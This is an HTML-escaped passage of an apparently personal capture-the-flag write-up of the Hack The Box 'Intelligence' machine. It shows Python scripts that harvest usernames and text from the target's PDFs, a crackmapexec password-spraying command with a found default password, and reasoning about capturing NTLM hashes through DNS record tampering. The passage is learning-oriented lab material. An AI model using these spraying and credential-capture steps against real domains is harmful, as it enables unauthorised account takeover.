class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import PyPDF2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from io import BytesIO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import datetime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://intelligence.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start_date = datetime.date(2020,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;end_date = datetime.date(2022,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dalta = datetime.timedelta(days=1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def Evidence(start_date):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; docinfo = pdffile.getDocumentInfo()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # print(&amp;#39;[*] PDF metadata For：&amp;#39;+ str(filepath))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for metaItem in docinfo:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, end=&amp;#39; &amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(metaItem.strip(&amp;#39;/&amp;#39;), &amp;#34;:&amp;#34;, docinfo[metaItem])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;users.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(docinfo[metaItem] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except Exception as e:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if __name__ == &amp;#39;__main__&amp;#39;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while start_date &amp;lt; end_date:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Evidence(start_date)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start_date += dalta&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;One thing worth mentioning: if the headers include the following two values, the response will always be 304.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# &amp;#39;If-Modified-Since&amp;#39;: &amp;#39;Thu, 01 Apr 2021 17:00:00 GMT&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# &amp;#39;If-None-Match&amp;#39;: &amp;#39;&amp;#34;0e86d731827d71:0&amp;#34;&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0521.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried to retrieve the hashes for SPN accounts, but there weren&amp;rsquo;t any. I still felt like I was missing something.&lt;/p&gt;&#10;&lt;p&gt;I created a new test.py that downloads all the text from every PDF and writes it to test.txt, making it easier to inspect them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import PyPDF2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from io import BytesIO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import datetime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://intelligence.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start_date = datetime.date(2020,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;end_date = datetime.date(2022,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dalta = datetime.timedelta(days=1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def Evidence(start_date):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; docinfo = pdffile.getDocumentInfo()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # print(&amp;#39;[*] PDF metadata For：&amp;#39;+ str(filepath))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for index, page in enumerate(pdffile.pages): # Iterate over all pages&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;test.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;test.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(page.extract_text()+&amp;#39;\n\n\n\n\n\n\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except Exception as e:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if __name__ == &amp;#39;__main__&amp;#39;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while start_date &amp;lt; end_date:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Evidence(start_date)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start_date += dalta&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The code above draws on quite a few blog posts. This was my first time learning about the PyPDF2 library and the from io import BytesIO technique. When I first started writing it, I ran into plenty of dead ends: several libraries I found either didn&amp;rsquo;t work or were too cumbersome. The posts that helped me most are below. If you want to build these PoCs yourself, you&amp;rsquo;ll probably need to refer to them as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/qq_39147299/article/details/125677918" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/qq_39147299/article/details/125677918&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/weixin_43047908/article/details/115769321" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/weixin_43047908/article/details/115769321&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1477328" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1477328&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gist.github.com/ceaksan/25034d9bd4496ea953082d2cfa831ad1" target="_blank" rel="noopener"&#10; &gt;https://gist.github.com/ceaksan/25034d9bd4496ea953082d2cfa831ad1&lt;/a&gt; # This one helped the most&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0522.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the default password, so now I can brute-force the accounts.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NewIntelligenceCorpUser9876&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 10.10.10.248 -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I found only one valid credential.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;WinRM isn&amp;rsquo;t enabled on the target, so I can&amp;rsquo;t connect directly. Now that I have credentials, though, I can revisit all the services I checked earlier and collect more information with them.&lt;/p&gt;&#10;&lt;p&gt;SMB&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0523.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I planned to use SYSVOL to recover passwords stored in Group Policy, but no passwords had been saved there.&lt;/p&gt;&#10;&lt;p&gt;Users is simply the Windows Users folder. The flag is shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0524.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0525.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SMB definitely won&amp;rsquo;t give me a shell, but looking at everything else, none of the other services seem any more promising for getting one. I guessed that the IIS web root might be somewhere under Users. I also found an IT folder containing a single file with the following contents.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check web server status. Scheduled to run every 5min&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module ActiveDirectory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;foreach($record in Get-ChildItem &amp;#34;AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb&amp;#34; | Where-Object Name -like &amp;#34;web*&amp;#34;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;try {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$request = Invoke-WebRequest -Uri &amp;#34;http://$($record.Name)&amp;#34; -UseDefaultCredentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if(.StatusCode -ne 200) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Send-MailMessage -From &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -To &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -Subject &amp;#34;Host: $($record.Name) is down&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;} catch {}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That gave me an idea. It says this file runs every five minutes. If I could modify it, I could get a shell.&lt;/p&gt;&#10;&lt;p&gt;But I couldn&amp;rsquo;t delete the file or upload a replacement. I didn&amp;rsquo;t have permission, and the entire directory was unwritable. PowerShell has always been one of my weak spots, so I tried to work out what the script does.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module ActiveDirectory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;foreach($record in Get-ChildItem &amp;#34;AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb&amp;#34; | Where-Object Name -like &amp;#34;web*&amp;#34;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;try {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$request = Invoke-WebRequest -Uri &amp;#34;http://$($record.Name)&amp;#34; -UseDefaultCredentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if(.StatusCode -ne 200) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Send-MailMessage -From &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -To &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -Subject &amp;#34;Host: $($record.Name) is down&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;} catch {}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Get-ChildItem retrieves every DNS name beginning with web, then iterates over them and sends a request to each target using the default credentials. If the response status isn&amp;rsquo;t 200, it sends an email from &lt;a class="link" href="mailto:Ted.Graves@intelligence.htb" &gt;Ted.Graves@intelligence.htb&lt;/a&gt; to &lt;a class="link" href="mailto:Ted.Graves@intelligence.htb" &gt;Ted.Graves@intelligence.htb&lt;/a&gt; saying that the service at that domain is down.&lt;/p&gt;&#10;&lt;p&gt;When I saw that DNS was involved, I found dnstool.py. It&amp;rsquo;s the only DNS-related PoC I&amp;rsquo;d saved, but the command in my notes didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0526.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0527.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The message here says I can add, modify, and delete AD-integrated DNS records, but I had no idea how to turn that into an exploit.&lt;/p&gt;&#10;&lt;p&gt;If I change a domain beginning with web to point to my machine and make its request fail, it will only send an email to itself. I can even see exactly how the email is constructed, so tampering with the domain doesn&amp;rsquo;t seem particularly useful to me.&lt;/p&gt;&#10;&lt;p&gt;I went back to reading the PowerShell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$request = Invoke-WebRequest -Uri &amp;#34;http://$($record.Name)&amp;#34; -UseDefaultCredentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It sends a request to the target to check whether it&amp;rsquo;s alive, using the default credentials. What I couldn&amp;rsquo;t understand was why the request URL needed default credentials. Then it suddenly started to make sense: when accessing resources within a domain, credentials must be sent or the server returns a 401 asking for authentication. That&amp;rsquo;s why the -UseDefaultCredentials parameter is there. If we tamper with a domain in the DNS records, the target will send its request to us, allowing us to capture an NTLM or Kerberos credential hash and crack it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.praetorian.com/blog/unconstrained-delegation-active-directory/" target="_blank" rel="noopener"&#10; &gt;https://www.praetorian.com/blog/unconstrained-delegation-active-directory/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found the method for adding a record in this blog post.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0528.zh.webp" alt="" 